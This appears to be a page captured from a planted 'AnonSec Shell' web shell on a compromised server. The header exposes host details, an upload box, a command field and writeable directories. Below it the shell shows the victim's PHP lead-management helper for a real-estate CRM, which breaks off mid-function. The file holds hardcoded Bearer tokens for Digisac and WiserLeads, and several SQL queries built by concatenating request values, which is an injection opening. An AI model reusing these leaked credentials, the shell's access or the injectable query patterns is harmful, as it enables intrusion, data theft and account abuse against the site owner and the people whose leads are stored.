AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.114
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/helpers/LeadsManagementHelper.php
<?php

use Zend\Validator\StringLength;

include_once __DIR__ . "/../models/LeadsConversionTypeModel.php";
include_once __DIR__ . "/../models/LeadsConversionFieldsModel.php";
include_once __DIR__ . "/../helpers/CrawlerHelper.php";
include_once __DIR__ . "/../helpers/api/WiserLeadsHelper.php";

class LeadsManagementHelper {
    /*
     * Função para comparar empreendimentos
     */

    public function createLead($data, $crawlerController, $hsContact = null) {
        $crawlerHelper = new CrawlerHelper();
        $country_code = $data['client_details']['phone']['country_code'];
        $phone_number = $data['client_details']['phone']['number'];
        $phone_number_short = null;
        if($country_code == 55)
        {
            if(strlen($phone_number) <= 10)
            {
                $ddd = substr($phone_number, 0, 2);
                $phone_number = substr($phone_number,2);
                if(in_array($phone_number[0],[9,8,7]))
                {
                    $phone_number_short = $country_code.$ddd.$phone_number;
                    $phone_number = '9'.$phone_number;  
                }
                $phone_number = $ddd.$phone_number;
            } else {
                $ddd = substr($phone_number, 0, 2);
                $phone_number_aux = substr($phone_number,3);
                if(in_array($phone_number_aux[0],[9,8,7]))
                {
                    $phone_number_short = $country_code.$ddd.$phone_number_aux;
                }
            }
        }
        $phone = $country_code . $phone_number;
        $erro = array();

        $account = ORM::for_table('crm_accounts')
                        ->where_raw('trim(replace(replace(replace(replace(phone, " ", ""), "-", ""), "(", ""), ")", "")) ="' . $phone . '"')
                        ->order_by_asc('id')
                        ->find_many();
        if (count($account) == 0) {
            $crmA = ORM::for_table('crm_accounts')->create();

            $crmA->account = trim(strip_tags(@$data['client_details']['first_name']) . " " . strip_tags(@$data['client_details']['last_name']));
            $crmA->fname = trim(strip_tags(@$data['client_details']['first_name']));
            $crmA->lname = trim(strip_tags(@$data['client_details']['last_name']));
            $crmA->phone = $phone;
            $crmA->email = trim(strip_tags(@$data['email']));
            $crmA->cell_phone = $crmA->phone;
            $crmA->status_crm = 'Lead';
            $crmA->kind_of_person = 'PF';
            $crmA->company = _post('company');
            $crmA->save();
            $dataGroup = ORM::for_table('crm_accounts_groups')->create();
            $dataGroup->crm_accounts_id = $crmA->id;
            $dataGroup->crm_group_id = 1;
            $dataGroup->save();

            if (@$data['client_details']['address']) {
                $address = ORM::for_table('crm_accounts_address')->create();
                //recebe os dados do endereço

                if (@$data['client_details']['address']['state']) {
                    $c = ORM::for_table("state")->where("state_name", trim(@$data['client_details']['address']['state']))->find_one();
                    if ($c) {
                        $address->state_id = $c->id;
                    } else {
                        $erro[] = 'Estado:' . @$data['client_details']['address']['state'];
                    }
                }

                if (@$data['client_details']['address']['city']) {
                    $c = ORM::for_table("city")->where("city_name", trim(@$data['client_details']['address']['city']))->find_one();
                    if ($c) {
                        $address->city_id = $c->id;
                    } else {
                        $erro[] = 'Cidade:' . @$data['client_details']['address']['city'];
                    }
                }
                if (count($erro) == 0) {
                    $address->zip = strip_tags(@$data['client_details']['address']['zipcode']);
                    $address->address = strip_tags(@$data['client_details']['address']['street']);
                    $address->neighborhood = strip_tags(@$data['client_details']['address']['neighborhood']);
                    $address->number = strip_tags(@$data['client_details']['address']['number']);
                    $address->complement = strip_tags(@$data['client_details']['address']['country']);
                    $address->type_address = "tax_address";
                    $address->crm_account_id = $crmA->id;
                    $address->save();
                }
            }
        } else {
            $crmA = $account[0];
        }

        $custo_fields = array();
        $fs = ORM::for_table('crm_customfields')->order_by_asc('id')->find_many();
        foreach ($fs as $f) {
            $custo_fields[$f->fieldname] = $f->id;
        }


        // TODO: ERRO NA LÓGICA DE TRATAMENTO DESSE CAMPO
        if (@$data['client_details']['custom_fields']) {
            foreach ($custo_fields as $cf) {
                if (@$custo_fields[$cf->field]) {
                    
                } else {
                    $erro[] = "Campo personalizado:" . $cf->field;
                }
            }
        }
        $lesdCon = ORM::for_table('module_imobles_leads_conversion')->create();

        if (@$data['conversion_details']) {
            if (@$data['conversion_details']['conversion_type']) {
                $c = ORM::for_table("module_imobles_leads_conversion_type")->where("alias", ($data['conversion_details']['conversion_type']))->find_one();
                if ($c) {
                    $lesdCon->conversion_type_id = $c->id;
                } else {
                    $erro[] = 'Tipo de Conversão:' . @$data['conversion_details']['conversion_type'];
                }
            }
            if (@$data['conversion_details']['development_details']) {

                if (@$data['conversion_details']['development_details']['development_id']) {
                    $c = ORM::for_table("module_imobles_enterprise")->find_one(@$data['conversion_details']['development_details']['development_id']);
                    if ($c) {
                        $lesdCon->development_id = $c->id;
                    } else {
                        $erro[] = 'Empreendimento:' . @$data['conversion_details']['development_details']['development_id'];
                    }
                }

                $c = ORM::for_table("module_imobles_enterprise_units_type")->find_one(@$data['conversion_details']['development_details']['unit_type_id']);
                if ($c) {
                    $lesdCon->unit_type_id = $c->id;
                } else {
                    $erro[] = 'Tipo de Unidade:' . @$data['conversion_details']['development_details']['development_id'];
                }
            }
        }

        if (count($erro) == 0) {
            $erroHubspot = array();
            // TODO: verificar se não vai duplicar os campos personalizados
            if (@$data['client_details']['custom_fields']) {
                foreach ($custo_fields as $cf) {
                    $fc = ORM::for_table('crm_customfieldsvalues')->create();
                    $fc->fieldid = @$custo_fields[$cf->field];
                    $fc->relid = $crmA->id;
                    $fc->fvalue = trim(strip_tags($cf->value));
                    $fc->save();
                }
            }
            if (@$data['conversion_details']) {
                if(empty($data['conversion_details']['context']['ip_address'])){
                    $data['conversion_details']['context']['ip_address'] = null;
                }

                if(empty($data['conversion_details']['context']['hutk'])){
                    $data['conversion_details']['context']['hutk'] = null;
                }

                if(empty($data['conversion_details']['context']['page_uri'])){
                    $data['conversion_details']['context']['page_uri'] = null;
                } else {
                    $data['conversion_details']['context']['page_uri'] = str_replace('[','/',$data['conversion_details']['context']['page_uri']);
                    $data['conversion_details']['context']['page_uri'] = str_replace(']','/',$data['conversion_details']['context']['page_uri']);
                }


                // Pego o Tipo de Produto da Conversão
                $product_aux = null;
                $product_type = null;
                if(isset($lesdCon->conversion_type_id) && $lesdCon->conversion_type_id > 0){
                    $product_aux = $this->getProductDetails($data,$lesdCon->conversion_type_id);
                    if(isset($product_aux["product"]->id)){
                        $lesdCon->leads_product_id = $product_aux["product"]->id;
                        $product_type = $product_aux["product"]->name;
                    }
                    
                    if($product_aux['unit_type_price_index'] !== null){
                        $unit_type_price = "";
                        if($product_aux['unit_type_price'] !== null){
                            $unit_type_price = $product_aux['unit_type_price'];
                        }
                        $data['conversion_details']['conversion_fields'][$product_aux['unit_type_price_index']]["value"] = $unit_type_price;
                    }

                    if($product_aux['price_range_numeric'] !== null){
                        $data['conversion_details']['conversion_fields'][] = array("field" => "price_range_numeric", "value" => $product_aux['price_range_numeric']);
                    }
                }
                
                $lesdCon->crm_accounts_id = $crmA->id;
                $lesdCon->created_at = date('Y-m-d H:i:s');
                $lesdCon->updated_at = $lesdCon->created_at;
                $lesdCon->page_uri = @$data['conversion_details']['context']['page_uri'];
                $lesdCon->page_name = @$data['conversion_details']['context']['page_name'];
                $lesdCon->ip_address = @$data['conversion_details']['context']['ip_address'];
                $lesdCon->hutk = @$data['conversion_details']['context']['hutk'];
                $lesdCon->params = json_encode($data);
                $lesdCon->save();

                $hsforms = array();

                if (@$data['conversion_details']['conversion_fields']) {
                    foreach (@$data['conversion_details']['conversion_fields'] as $conver) {
                        $c = ORM::for_table("module_imobles_leads_conversion_fields")
                                        ->where("alias", ($conver['field']))->find_one();

                        $hsforms[] = array("name" => $conver['field'], "value" => $conver['value']);

                        if ($c) {
                            $lesdConParams = ORM::for_table('module_imobles_leads_conversion_params')->create();
                            $lesdConParams->conversion_id = $lesdCon->id;
                            $lesdConParams->created_at = date('Y-m-d H:i:s');
                            $lesdConParams->updated_at = $lesdConParams->created_at;
                            $lesdConParams->value = strip_tags($conver['value']);
                            $lesdConParams->conversion_field_id = $c->id;
                            $lesdConParams->save();
                        } else {
                            $erro[] = 'Campos Formulário de Conversão:' . $conver['field'];
                        }
                    }
                }
                
                if(empty($hsContact)){
                    if(!empty($lesdCon->hutk)){
                        $hsContact = $this->hubspotGetContactDetailsByUtk($lesdCon->hutk);
                        // var_dump($hsContact);exit;
                        if(isset($hsContact->properties->firstname->value))
                        {
                            $data['client_details']['first_name'] = $hsContact->properties->firstname->value;
                        } 
                    }                   
                } else {
                    if(isset($hsContact->vid) && isset($hsContact->properties->firstname->value))
                    {
                        $data['client_details']['first_name'] = $hsContact->properties->firstname->value;
                    }
                }
                $hsforms[] = array("name" => 'firstname', "value" => @$data['client_details']['first_name']);
                $hsforms[] = array("name" => 'phone', "value" => $phone);
                $hsforms[] = array("name" => 'telefone_para_campanha_de_whatsapp', "value" => $phone);
                $hsforms[] = array("name" => 'wiserads_product', "value" => !empty($product_type)?$product_type:"");
                
                // Pego o ID do Formulário do hubspot
                $hs_form_id = @$data['conversion_details']['context']['hs_form_id'];

                $postH = array(
                    "fields" => $hsforms,
                    "context" => array(
                        "pageUri" => $lesdCon->page_uri,
                        "pageName" => $lesdCon->page_name,
                        "hutk" => $lesdCon->hutk,
                        "ipAddress" => $lesdCon->ip_address
                    )
                );

                // Faço o envio dos dados para o WiserLeads
                $wl_data = null;
                if(isset($data['conversion_details']['context']['ppc_source']) 
                && $data['conversion_details']['context']['ppc_source'] == 'google'
                && !empty($lesdCon->conversion_type_id)
                && !empty($product_type)){
                    $wl_data = [
                            "campaign" => "imobles-google-ads",
                            "token" => "e5e2ea4fd4c8c416219ec48487a96dc5a4bd09d2",
                            "url" => $lesdCon->page_uri,
                            "referer" => @$data['conversion_details']['context']['referer'],
                            "user_agent" => "",
                            "ip_address" => $lesdCon->ip_address,
                            "firstname" => $data['client_details']['first_name'],
                            "lastname" => "",
                            "phone" => $phone,
                            "email" => "",
                            "metadata" => ["product" => "'.$product_type.'"]];
                    $wl_data = json_encode($wl_data);
                    // echo(($wl_data));exit;
                    // $wiserLeads = new WiserLeadsHelper();
                    // $results = $wiserLeads->postLead($data);
                    // if(isset($results->lead_id) && !empty($results->lead_id)){
                    //     $lesdConParams = ORM::for_table('module_imobles_leads_wiserleads_contacts')->create();
                    //     $lesdConParams->wiserlead_id = $results->lead_id;
                    //     $lesdConParams->crm_account_id = $crmA->id;
                    //     $lesdConParams->save();
                    // } else {
                    //     $lesdConParams = ORM::for_table('module_imobles_logs')->create();
                    //     $lesdConParams->created_at = date('Y-m-d H:i:s');
                    //     $lesdConParams->type = 'wiser_leads_error';
                    //     $lesdConParams->params = json_encode(json_decode($data));
                    //     $lesdConParams->save();
                    // }
                }

                $erroHubspot = $this->hubspot($crmA, $postH, $lesdCon, $phone, $hs_form_id, $phone_number_short, $wl_data, $data);
                if(count($erroHubspot) > 0){
                    $log_params = array(
                                        "conversion_id" => $lesdCon->id,
                                        "conversion_form" => $data,
                                        "hs_form" => $hsforms
                                        );
                    $lesdConParams = ORM::for_table('module_imobles_logs')->create();
                    $lesdConParams->created_at = date('Y-m-d H:i:s');
                    $lesdConParams->type = 'conversion_error';
                    $lesdConParams->params = json_encode($log_params);
                    $lesdConParams->save();
                }
            }
            //DIGISAC
            $serviceID = @$data['crm_details']['digisac']['service_id'];
            
            // $errorDigisac = $this->digisac($crmA,@$data['client_details']['first_name'], $phone, $serviceID, $crawlerController, $data);
            $errorDigisac = array();
            $return = array('status' => true, 'erro' => false,'crm_account_id' => $crmA->id,
                            'error_crm' => count($erroHubspot) > 0 || count($errorDigisac) > 0,
                            'error_crm_details' => array(
                                'hubspot' => implode("; ", $erroHubspot),
                                'digisac' => implode("; ", $errorDigisac))
            );

            // VERIFICO SE É VISITA E FAÇO O ENVIO PARA O GRUPO DE VISITAS NO DIGSAC
            if (!preg_match_all("/(\s)+((test)e?)$|^((test)e?)(\s)+|(\s)+((test)e?)(\s)+|^((test)e?)$/i", $data['client_details']['first_name'], $matches)) {
                if($data['conversion_details']['conversion_type'] == 'agendar_visita'){
                    $msg = null;
                    foreach($data['conversion_details']['conversion_fields'] as $field){
                        switch($field['field']){
                            case 'client_choice_description':
                                $msg = $field['value'];
                                break;
                        }
                    }

                    $hs_contact_link = null;
                    if(isset($hsContact->vid)){
                        $hs_contact_link = "\nhttps://app.hubspot.com/contacts/6047312/contact/".$hsContact->vid; 
                    }
                    $msg = str_replace(' | ', "\n", $msg); 
                    $msg = str_replace('Agendar visita: ', "", $msg); 
                    $name = $data['client_details']['first_name'];
                    $msg = "AGENDAMENTO DE VISITA\n".$name."\n".$phone."\n".$msg.$hs_contact_link;

                    // Envio a mensagem
                    $url = "https://imobles.digisac.co/api/v1/messages";
                    $data_msg = array(
                        'text' => $msg,
                        'type' => 'chat',
                        'contactId' => '230bcf71-e8cc-4027-b125-e86d6c8841ea',
                        'serviceId' => 'e44394a5-55de-4f25-b5b8-dcbcb69cf473'
                    );
                    
                    $postdata = json_encode($data_msg);
                    $ch = curl_init($url);
                    curl_setopt($ch, CURLOPT_POST, 1);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                    curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
                    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
                    'Authorization: Bearer 8cd3c1c07c14c260b98a4f1ee681e024b3945ab1',
                    'Content-Type: application/json'
                    ));
                    $json_response = curl_exec($ch);
                    $result = json_decode($json_response);
                    if(isset($result->message))
                    {
                        $log_params = array(
                            "msg_erro" => $result->message,
                            "conversion_id" => $lesdCon->id,
                            "conversion_type" => "agendar_visita"
                            );
                        $lesdConParams = ORM::for_table('module_imobles_logs')->create();
                        $lesdConParams->created_at = date('Y-m-d H:i:s');
                        $lesdConParams->type = 'digisac_msg_error';
                        $lesdConParams->params = json_encode($log_params);
                        $lesdConParams->save();
                    }
                }
            }

        } else {
            //adiciona a mensgaem de entrad dos primeiros erros
            if (count($erro) > 0) {
                $erro[0] = 'Valores inválidos para os campos: ' . $erro[0];
            }
            $lesdCon->crm_accounts_id = $crmA->id;
            $lesdCon->created_at = date('Y-m-d H:i:s');
            $lesdCon->page_uri = @$data['conversion_details']['context']['page_uri'];
            $lesdCon->page_name = @$data['conversion_details']['context']['page_name'];
            $lesdCon->ip_address = @$data['conversion_details']['context']['ip_address'];
            $lesdCon->hutk = @$data['conversion_details']['context']['hutk'];
            $lesdCon->params = json_encode($data);
            $lesdCon->save();

            $log_params = array(
                                "conversion_id" => $lesdCon->id,
                                "conversion_form" => $data
                                );
            $lesdConParams = ORM::for_table('module_imobles_logs')->create();
            $lesdConParams->created_at = date('Y-m-d H:i:s');
            $lesdConParams->type = 'conversion_error';
            $lesdConParams->params = json_encode($log_params);
            $lesdConParams->save();
            
            $return = array('status' => false, 'erro' => $erro);
        }
        return $return;
    }
    

    public function getProductDetails($data, $conversion_type_id){
        // Pego o produto relacionado à conversão
        $index_aux = 0;
        $index_unit_type_price = null;
        $unit_type_price = null;
        $price_range_numeric = null;
        $price_range = null;
        foreach($data['conversion_details']['conversion_fields'] as $field){
            switch($field['field']){
                case 'city_ids':
                    $cityId = !empty($field['value'])?$field['value']:null;
                break;
                case 'price_range':
                    $price_range = !empty($field['value'])?$field['value']:null;
                break;
                case 'unit_type_rooms':
                    $unit_type_rooms = !empty($field['value'])?$field['value']:null;
                    $unit_type_rooms = intval($unit_type_rooms);

                break;
                case 'unit_type_price':
                    $unit_type_price = !empty($field['value'])?$field['value']:null;
                    $index_unit_type_price = $index_aux;

                break;
                case 'development_id':
                    $development_id = !empty($field['value'])?$field['value']:null;
                break;
                case 'id_unit_type':
                    $id_unit_type = !empty($field['value'])?$field['value']:null;
                break;
                case 'simulador_financiamento_valor_imovel':
                    $simulador_financiamento_valor_imovel = !empty($field['value'])?$field['value']:null;
                    $simulador_financiamento_valor_imovel = str_replace('R$', '',$simulador_financiamento_valor_imovel);
                    $simulador_financiamento_valor_imovel = floatval($simulador_financiamento_valor_imovel);
                break;
            }
            $index_aux++;
        }

        if(!isset($cityId) || $cityId == null){
            return false;
        }

        if(!empty($id_unit_type)){
            $unit_type_aux = ORM::for_table('module_imobles_enterprise_units_type')
                                ->select('price_min')
                                ->find_one($id_unit_type);
            if(!empty($unit_type_aux->price_min)){
                $unit_type_price = $unit_type_aux->price_min;
            } else {
                $unit_type_price = 0;
            }
        } else {
            if(!empty($unit_type_price)){
                $unit_type_price = str_replace('R$', '',$unit_type_price);
                $unit_type_price = str_replace('.', '',$unit_type_price);
                $unit_type_price = str_replace(',', '.',$unit_type_price);
                if (preg_match("/milhão|milhões/i", $unit_type_price)) {
                    $unit_type_price = intval($unit_type_price) * 1000000;
                } elseif (preg_match("/mil/i", $unit_type_price)) {
                    $unit_type_price = floatval($unit_type_price) * 1000;
                } else {
                    $unit_type_price = floatval($unit_type_price);
                }
            }
        }

        $conversion_type = !empty($data['conversion_details']['conversion_type'])?$data['conversion_details']['conversion_type']:null;
        $product_type = null;
        $product_aux = null;
        $price_range = mb_strtolower($price_range);
        $price_min = null;
        $price_max = null;
        switch($conversion_type){
            case 'plano_pagamento':
            case 'plano_pagamento_comparativo':
            case 'consulta_preco':
            case 'alerta_preco_divulgado':
            case 'encontrar_apto_novo':
                $query = "SELECT p.name, p.id
                            FROM module_imobles_leads_products_rules as pr
                            LEFT JOIN module_imobles_leads_products as p ON p.id = pr.leads_product_id
                            WHERE (".$unit_type_rooms." between rooms_min AND rooms_max) AND (".$unit_type_price." between price_min AND price_max) 
                            AND leads_conversion_type_id = ".$conversion_type_id."
                            AND pr.city_id = ".$cityId." 
                            AND pr.deleted_at IS NULL
                            AND pr.leads_product_id IS NOT NULL
                            ORDER BY price_max DESC LIMIT 1";
                $product_aux = ORM::for_table("module_imobles_leads_products_rules")
                    ->raw_query($query)->find_one();

                if(isset($product_aux->name) && !empty($product_aux->name)){
                    $product_type = $product_aux->name;
                } else {
                    $query = "SELECT p.name, p.id
                                FROM module_imobles_leads_products_rules as pr
                                LEFT JOIN module_imobles_leads_products as p ON p.id = pr.leads_product_id
                                WHERE (".$unit_type_price." between price_min AND price_max) 
                                AND leads_conversion_type_id = ".$conversion_type_id."
                                AND pr.city_id = ".$cityId."
                                AND pr.deleted_at IS NULL
                                AND pr.leads_product_id IS NOT NULL
                                ORDER BY price_max DESC LIMIT 1";
                    $product_aux = ORM::for_table("module_imobles_leads_products_rules")
                        ->raw_query($query)->find_one();
                    if(isset($product_aux->name) && !empty($product_aux->name)){
                        $product_type = $product_aux->name;
                    } else {
                        $query = "SELECT p.name, p.id
                                    FROM module_imobles_leads_products_rules as pr
                                    LEFT JOIN module_imobles_leads_products as p ON p.id = pr.leads_product_id
                                    WHERE (".$unit_type_rooms." between rooms_min AND rooms_max) 
                                    AND leads_conversion_type_id = ".$conversion_type_id."
                                    AND pr.city_id = ".$cityId."
                                    AND pr.deleted_at IS NULL
                                    AND pr.leads_product_id IS NOT NULL
                                    ORDER BY price_max DESC LIMIT 1";
                        $product_aux = ORM::for_table("module_imobles_leads_products_rules")
                            ->raw_query($query)->find_one();
                        if(isset($product_aux->name)){
                            $product_type = $product_aux->name;
                        }
                    }
                }

            break;
            case 'solicitacao_lista':
            case 'solicitacao_de_lista':
            case 'solicitacao_lista_comparativo':
            case 'busca_corretor':
                switch($price_range){
                    case 'até r$ 400 mil':
                        $price_min = null;
                        $price_max = 400000;
                        break;
                    case 'até r$ 700 mil':
                        $price_min = null;
                        $price_max = 700000;
                        break;
                    case 'até r$ 750 mil':
                        $price_min = null;
                        $price_max = 750000;
                        break;
                    case 'até r$ 999 mil':
                        $price_min = null;
                        $price_max = 999000;
                        break;
                    case 'até r$ 300 mil':
                        $price_min = null;
                        $price_max = 300000;
                        break;
                    case 'até r$ 500 mil':
                        $price_min = null;
                        $price_max = 500000;
                        break;
                    case 'até r$ 1 milhão':
                        $price_min = null;
                        $price_max = 1000000;
                        break;
                    case 'até r$ 2 milhões':
                        $price_min = null;
                        $price_max = 2000000;
                        break;
                    case 'até r$ 3 milhões':
                        $price_min = null;
                        $price_max = 3000000;
                        break;
                    case 'até r$ 5 milhões':
                        $price_min = null;
                        $price_max = 5000000;
                        break;
                    case 'até r$ 10 milhões':
                        $price_min = null;
                        $price_max = 10000000;
                        break;
                    case 'acima de r$ 10 milhões':
                        $price_min = 10000000;
                        $price_max = null;
                        break;
                    case 'acima de r$ 5 milhões':
                        $price_min = 5000000;
                        $price_max = null;
                        break;
                    case '1 milhão ou mais':
                        $price_min = 1000000;
                        $price_max = null;
                        break;
                    case 'r$ 1 milhão ou mais':
                        $price_min = 1000000;
                        $price_max = null;
                        break;
                    case 'acima de r$ 1 milhão':
                        $price_min = 1000000;
                        $price_max = null;
                        break;
                }
                
                if($price_min === null){
                    $query = "SELECT p.name, p.id
                                FROM module_imobles_leads_products_rules as pr
                                LEFT JOIN module_imobles_leads_products as p ON p.id = pr.leads_product_id
                                WHERE (".$unit_type_rooms." between rooms_min AND rooms_max) AND (".$price_max." between price_min AND price_max) 
                                AND leads_conversion_type_id = ".$conversion_type_id."
                                AND pr.city_id = ".$cityId."
                                AND pr.deleted_at IS NULL
                                AND pr.leads_product_id IS NOT NULL
                                ORDER BY price_max DESC LIMIT 1";

                    $product_aux = ORM::for_table("module_imobles_leads_products_rules")
                        ->raw_query($query)->find_one();
                    $price_range_numeric = $price_max;
                } else {
                    $query = "SELECT p.name, p.id
                                FROM module_imobles_leads_products_rules as pr
                                LEFT JOIN module_imobles_leads_products as p ON p.id = pr.leads_product_id
                                WHERE (".$unit_type_rooms." between rooms_min AND rooms_max) AND (".$price_min." between price_min AND price_max) 
                                AND leads_conversion_type_id = ".$conversion_type_id."
                                AND pr.city_id = ".$cityId."
                                AND pr.deleted_at IS NULL
                                AND pr.leads_product_id IS NOT NULL
                                ORDER BY price_max DESC LIMIT 1";

                    $product_aux = ORM::for_table("module_imobles_leads_products_rules")
                        ->raw_query($query)->find_one();
                    
                    $price_range_numeric = $price_min;
                }   
            break;
            case 'agendar_visita':
            case 'estimativa_preco':
            case 'receber_novidades':
                $sql = 'SELECT min(ut.price_min) as price_min
                        FROM module_imobles_enterprise_units_type as ut
                        WHERE ut.module_imobles_enterprise_id = '.$development_id.'
                        AND ut.site_enabled = 1 
                        AND ut.delete_at IS NULL
                        AND ut.crawler_type_id = 4';
                $price_aux = ORM::for_table("module_imobles_leads_products_rules")
                        ->raw_query($sql)->find_one();
                if(isset($price_aux->price_min) && !empty($price_aux->price_min)){
                    $query = "SELECT p.name, p.id
                                FROM module_imobles_leads_products_rules as pr
                                LEFT JOIN module_imobles_leads_products as p ON p.id = pr.leads_product_id
                                WHERE (".$price_aux->price_min." between price_min AND price_max) 
                                AND leads_conversion_type_id = ".$conversion_type_id."
                                AND pr.city_id = ".$cityId."
                                AND pr.deleted_at IS NULL
                                AND pr.leads_product_id IS NOT NULL
                                ORDER BY price_max DESC LIMIT 1";
                    $product_aux = ORM::for_table("module_imobles_leads_products_rules")
                        ->raw_query($query)->find_one();
                }
            break;
            case 'simular_financiamento':
                $price_aux = null;
                if(empty($simulador_financiamento_valor_imovel)){
                    if(!empty($development_id)){
                        $sql = 'SELECT min(ut.price_min) as price_min
                                FROM module_imobles_enterprise_units_type as ut
                                WHERE ut.module_imobles_enterprise_id = '.$development_id.'
                                AND ut.site_enabled = 1 
                                AND ut.delete_at IS NULL
                                AND ut.crawler_type_id = 4';
                        $price_aux = ORM::for_table("module_imobles_leads_products_rules")
                                ->raw_query($sql)->find_one();
                        if(isset($price_aux->price_min) && !empty($price_aux->price_min)){
                            $price_aux = intval($price_aux->price_min);
                        }
                    }
                } else {
                    $price_aux = $simulador_financiamento_valor_imovel;
                }

                if($price_aux > 0){
                    $query = "SELECT p.name, p.id
                                FROM module_imobles_leads_products_rules as pr
                                LEFT JOIN module_imobles_leads_products as p ON p.id = pr.leads_product_id
                                WHERE (".$price_aux." between price_min AND price_max) 
                                AND pr.leads_conversion_type_id = ".$conversion_type_id."
                                AND pr.city_id = ".$cityId."
                                AND pr.deleted_at IS NULL
                                AND pr.leads_product_id IS NOT NULL
                                ORDER BY price_max DESC LIMIT 1";
                    $product_aux = ORM::for_table("module_imobles_leads_products_rules")
                        ->raw_query($query)->find_one();
                }
            break;
            case 'solicitacao_lista_alto_padrao':
                $query = "SELECT p.name, p.id
                        FROM module_imobles_leads_products as p
                        WHERE p.id = 38";
                    $product_aux = ORM::for_table("module_imobles_leads_products")
                        ->raw_query($query)->find_one();
            break;
            case 'receber_book':
                $query = "SELECT p.name, p.id
                        FROM module_imobles_leads_products as p
                        WHERE p.id = 37";
                    $product_aux = ORM::for_table("module_imobles_leads_products")
                        ->raw_query($query)->find_one();
            break;
            case 'popup_graph_cms':
                $query = "SELECT p.name, p.id
                        FROM module_imobles_leads_products as p
                        WHERE p.id = 39";
                    $product_aux = ORM::for_table("module_imobles_leads_products")
                        ->raw_query($query)->find_one();
            break;
        }

        $arr_return = array("product" => $product_aux,
                            "unit_type_price" => $unit_type_price,
                            "unit_type_price_index" => $index_unit_type_price,
                            "price_range_numeric" => $price_range_numeric);
        return $arr_return;
    }

//função PW-476
    public function digisac($crmA,$name, $phone, $serviceID, $crawlerController, $data, $phone_number_short = null) {
        try {
            $erroDigisac = array();
            if (empty($serviceID) || $serviceID == 'NOT SET') {
                $serviceID = 'e44394a5-55de-4f25-b5b8-dcbcb69cf473';
            }

            $curl = curl_init();
            curl_setopt_array($curl, array(
                CURLOPT_URL => 'https://imobles.digisac.co/api/v1/contacts?where%5Bvisible%5D=true&where%5Bdata.number%5D%5B$eq%5D=' . $phone,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_ENCODING => '',
                CURLOPT_MAXREDIRS => 10,
                CURLOPT_TIMEOUT => 0,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
                CURLOPT_CUSTOMREQUEST => 'GET',
                CURLOPT_HTTPHEADER => array(
                    'Authorization: Bearer 8cd3c1c07c14c260b98a4f1ee681e024b3945ab1'
                ),
            ));

            $response = curl_exec($curl);
            curl_close($curl);
            $jsonREsponse = json_decode($response);            
            if (isset($jsonREsponse->data) && $jsonREsponse->total >= 1) {
                ORM::for_table('module_imobles_digisac_contacts')->where('crm_account_id', $crmA->id)->delete_many();
                foreach ($jsonREsponse->data as $dt) {
                    $lesdConParams = ORM::for_table('module_imobles_digisac_contacts')->create();
                    $lesdConParams->service_id = $dt->serviceId;
                    $lesdConParams->contact_id = $dt->id;
                    $lesdConParams->crm_account_id = $crmA->id;
                    $lesdConParams->save();
                }
            } else {

                $insert_digisac = true;
                if(!empty($phone_number_short)){
                    $curl = curl_init();
                    curl_setopt_array($curl, array(
                        CURLOPT_URL => 'https://imobles.digisac.co/api/v1/contacts?where%5Bvisible%5D=true&where%5Bdata.number%5D%5B$eq%5D=' . $phone_number_short,
                        CURLOPT_RETURNTRANSFER => true,
                        CURLOPT_ENCODING => '',
                        CURLOPT_MAXREDIRS => 10,
                        CURLOPT_TIMEOUT => 0,
                        CURLOPT_FOLLOWLOCATION => true,
                        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
                        CURLOPT_CUSTOMREQUEST => 'GET',
                        CURLOPT_HTTPHEADER => array(
                            'Authorization: Bearer 8cd3c1c07c14c260b98a4f1ee681e024b3945ab1'
                        ),
                    ));
                    $response = curl_exec($curl);
                    curl_close($curl);
                    $jsonREsponse = json_decode($response);            
                    if (isset($jsonREsponse->data) && $jsonREsponse->total >= 1) {
                        ORM::for_table('module_imobles_digisac_contacts')->where('crm_account_id', $crmA->id)->delete_many();
                        foreach ($jsonREsponse->data as $dt) {
                            $lesdConParams = ORM::for_table('module_imobles_digisac_contacts')->create();
                            $lesdConParams->service_id = $dt->serviceId;
                            $lesdConParams->contact_id = $dt->id;
                            $lesdConParams->crm_account_id = $crmA->id;
                            $lesdConParams->save();
                        }
                        $insert_digisac = false;
                    }
                }

                if($insert_digisac === true){
                    $contact = $crawlerController->mandeUmZapCreatContact($phone, $name, $serviceID);
                    if (!isset($contact['contact']->id)) {
                        $erroDigisac[] = 'Erro ao realizar cadastro do cliente no Digisac';
                    } else {
                        ORM::for_table('module_imobles_digisac_contacts')->where('crm_account_id', $crmA->id)->delete_many();
                        $lesdConParams = ORM::for_table('module_imobles_digisac_contacts')->create();
                        $lesdConParams->service_id = $serviceID;
                        $lesdConParams->contact_id = $contact['contact']->id;
                        $lesdConParams->crm_account_id = $crmA->id;
                        $lesdConParams->save();
                    }
                }
            }


            // TODO: no momento enviamos mensagem automática apenas para leads de TESTE
            if (preg_match_all("/(\s)+((test)e?)$|^((test)e?)(\s)+|(\s)+((test)e?)(\s)+|^((test)e?)$/i", $name, $matches) && !empty($data->input_data)) {
                $data = $data->input_data;
                $name = explode(' ', $name);
                $name = $name[0];
                if (@$data->conversion_details->bot_msg) {
                    if (@$data->conversion_details->bot_msg->type == 'whats_app') {
                        if (!empty(@$data->conversion_details->bot_msg->msg)) {
                            $msg = $data->conversion_details->bot_msg;
                        } else {
                            $msg = "Olá " . $name . ", tudo bem? Obrigado por entrar em contato com a myside.com.br, em alguns instantes um de nossos consultores entrará em contato com você.";
                        }
                        // echo "ENVIANDO MENSAGEM AUTOMÁTICA \n";
